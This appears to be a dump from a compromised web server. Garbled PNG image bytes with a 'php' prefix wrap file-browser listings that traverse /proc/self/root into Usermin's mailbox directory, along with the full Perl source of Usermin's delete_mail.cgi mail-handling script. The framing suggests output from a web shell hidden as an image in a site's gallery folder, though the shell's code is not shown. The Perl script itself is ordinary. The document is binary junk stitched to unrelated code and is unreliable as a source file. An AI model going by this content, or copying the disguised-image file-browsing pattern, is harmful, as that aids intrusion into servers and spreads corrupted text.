php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/img_galeri/2r1asasas/root/proc/self/root/usr/libexec/usermin/mailbox/ |
| files >> /var/www/html/img_galeri/2r1asasas/root/proc/self/root/usr/libexec/usermin/mailbox/delete_mail.cgi |
#!/usr/bin/perl
# delete_mail.cgi
# Delete, mark, move or copy multiple messages
require './mailbox-lib.pl';
&ReadParse();
@ids = sort { $a <=> $b } split(/\0/, $in{'d'});
@folders = &list_folders();
$folder = $folders[$in{'folder'}];
$r = time().$$;
if (!$in{'new'}) {
# Get the messages. We only need the headers when marking, or when
# deleting unless moving to the trash
$headersonly = defined($mark) ||
$in{'delete'} && $userconfig{'delete_mode'} != 1;
@delmail = &mailbox_select_mails($folder, \@ids, $headersonly);
}
$mark = $in{'markas0'} ? 0 : $in{'markas1'} ? 1 : $in{'markas2'} ? 2 : undef;
if (defined($mark)) {
# Marking emails with some status
@ids || &error($text{'delete_emnone'});
foreach $mail (@delmail) {
$oldread = &get_mail_read($folder, $mail);
&set_mail_read($folder, $mail, ($oldread&4)+$mark);
}
$perpage = $folder->{'perpage'} || $userconfig{'perpage'};
&redirect("index.cgi?start=$in{'start'}&folder=$in{'folder'}&refresh=$r");
}
elsif ($in{'move1'} || $in{'move2'}) {
# Moving mails to some other folder
&error_setup($text{'delete_errm'});
@delmail || &error($text{'delete_emnone'});
$mfolder = $folders[$in{'move1'} ? $in{'mfolder1'} : $in{'mfolder2'}];
$mfolder->{'noadd'} && &error($text{'delete_enoadd'});
&lock_folder($folder);
&lock_folder($mfolder);
&mailbox_move_mail($folder, $mfolder, @delmail);
&unlock_folder($mfolder);
&unlock_folder($folder);
&redirect("index.cgi?start=$in{'start'}&folder=$in{'folder'}&refresh=$r");
}
elsif ($in{'copy1'} || $in{'copy2'}) {
# Copying mails to some other folder
&error_setup($text{'delete_errc'});
@delmail || &error($text{'delete_emnone'});
$cfolder = $folders[$in{'copy1'} ? $in{'mfolder1'} : $in{'mfolder2'}];
$qerr = &would_exceed_quota($cfolder, @delmail);
&error($qerr) if ($qerr);
&lock_folder($cfolder);
&mailbox_copy_mail($folder, $cfolder, @delmail);
&unlock_folder($cfolder);
&redirect("index.cgi?start=$in{'start'}&folder=$in{'folder'}&refresh=$r");
}
elsif ($in{'forward'}) {
# Forwarding selected mails .. redirect
@delmail || &error($text{'delete_efnone'});
&redirect("reply_mail.cgi?folder=$in{'folder'}&".
join("&", map { "mailforward=".&urlize($_) } @ids));
}
elsif ($in{'new'}) {
# Need to redirect to compose form
&redirect("reply_mail.cgi?new=1&folder=$in{'folder'}");
}
elsif ($in{'black'} || $in{'white'}) {
# Deny or allow all senders
$dir = $in{'black'} ? "blacklist_from" : "whitelist_from";
@delmail || &error($in{'black'} ? $text{'delete_ebnone'}
: $text{'delete_ewnone'});
foreach $mail (@delmail) {
push(@addrs, map { $_->[0] } &split_addresses($mail->{'header'}->{'from'}));
}
&foreign_require("spam", "spam-lib.pl");
local $conf = &spam::get_config();
local @from = map { @{$_->{'words'}} }
&spam::find($dir, $conf);
local %already = map { $_, 1 } @from;
@newaddrs = grep { !$already{$_} && /\@/ } &unique(@addrs);
push(@from, @newaddrs);
&spam::save_directives($conf, $dir, \@from, 1);
&flush_file_lines();
# Also move messages to inbox
$inbox = &get_spam_inbox_folder();
if ($userconfig{'white_move'} && $folder->{'spam'} && $in{'white'}) {
&mailbox_move_mail($folder, $inbox, @delmail);
}
&redirect("index.cgi?folder=$in{'folder'}");
}
elsif ($in{'razor'} || $in{'ham'}) {
# Report as ham or spam all messages
@delmail || &error($in{'razor'} ? $text{'delete_ebnone'}
: $text{'delete_ehnone'});
&ui_print_header(undef, $in{'razor'} ? $text{'razor_title'}
: $text{'razor_title2'}, "");
if ($in{'razor'}) {
print "<b>$text{'razor_report2'}</b>\n";
}
else {
print "<b>$text{'razor_report3'}</b>\n";
}
print "<pre>";
# Write all messages to a temp file
$temp = &transname();
$cmd = $in{'razor'} ? &spam_report_cmd() : &ham_report_cmd();
foreach $mail (@delmail) {
&send_mail($mail, $temp);
}
if ($userconfig{'spam_del'} && $in{'razor'}) {
# Delete spam too
&lock_folder($folder);
&mailbox_delete_mail($folder, @delmail);
&unlock_folder($folder);
}
# Call reporting command on them
&open_execute_command(OUT, "$cmd <$temp 2>&1", 1);
local $error;
while(<OUT>) {
print &html_escape($_);
$error++ if (/failed/i);
}
close(OUT);
unlink($temp);
print "</pre>\n";
if ($? || $error) {
print "<b>$text{'razor_err'}</b><p>\n";
}
else {
$inbox = &get_spam_inbox_folder();
if ($userconfig{'spam_del'} && $in{'razor'}) {
# Tell user it was deleted
print "<b>$text{'razor_deleted'}</b><p>\n";
}
elsif ($userconfig{'ham_move'} &&
$folder->{'spam'} && $in{'ham'}) {
# Move mail to inbox and tell user
&mailbox_move_mail($folder, $inbox, @delmail);
print "<b>",&text('razor_moved', $inbox->{'name'}),
"</b><p>\n";
}
else {
# Tell user it was done
print "<b>$text{'razor_done'}</b><p>\n";
}
print "<script>\n";
print "window.location = 'index.cgi?folder=$in{'folder'}';\n";
print "</script>\n";
}
&ui_print_footer("index.cgi?folder=$in{'folder'}",
$text{'mail_return'});
}
elsif ($in{'delete'}) {
# Just deleting emails
@delmail || $in{'all'} || &error($text{'delete_enone'});
if (!$in{'confirm'} && (&need_delete_warn($folder) || $in{'all'})) {
# Need to ask for confirmation before deleting
&ui_print_header(undef, $text{'confirm_title'}, "");
print &ui_confirmation_form(
"delete_mail.cgi",
($in{'all'} ?
&text('confirm_warnallf', $folder->{'name'}) :
&text('confirm_warnf', scalar(@delmail),
$folder->{'name'})).
"<br>".
($userconfig{'delete_warn'} ne 'y' ?
$text{'confirm_warn2'}."<p>" :
$folder->{'type'} == 0 ?
$text{'confirm_warn4'}."<p>" : ""),
[ &inputs_to_hiddens(\%in) ],
[ [ 'confirm', $text{'confirm_ok'} ] ],
);
&ui_print_footer("index.cgi?start=$in{'start'}&".
"folder=$in{'folder'}", $text{'index'});
}
else {
# Go ahead and delete
$gconfig{'logfiles'} = 0;
&lock_folder($folder);
if ($in{'all'}) {
# Clear the whole folder, unless the first email
# is non-editable
@mail = &mailbox_list_mails_sorted(0, 0, $folder);
if (&editable_mail($mail[0])) {
# Trash the lot
&mailbox_empty_folder($folder);
}
else {
# Delete all mail except the first
local $fsz = &mailbox_folder_size($folder);
@mail = &mailbox_list_mails_sorted(1,
$fsz-1, $folder);
@delmailrest = @mail[0..$#mail];
&mailbox_delete_mail($folder, @delmailrest);
}
}
else {
# Just delete selected messages
&mailbox_delete_mail($folder, @delmail);
}
&unlock_folder($folder);
&redirect("index.cgi?start=$in{'start'}&folder=$in{'folder'}&refresh=$r");
}
}
else {
&error("No button clicked!");
}
&pop3_logout_all();
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`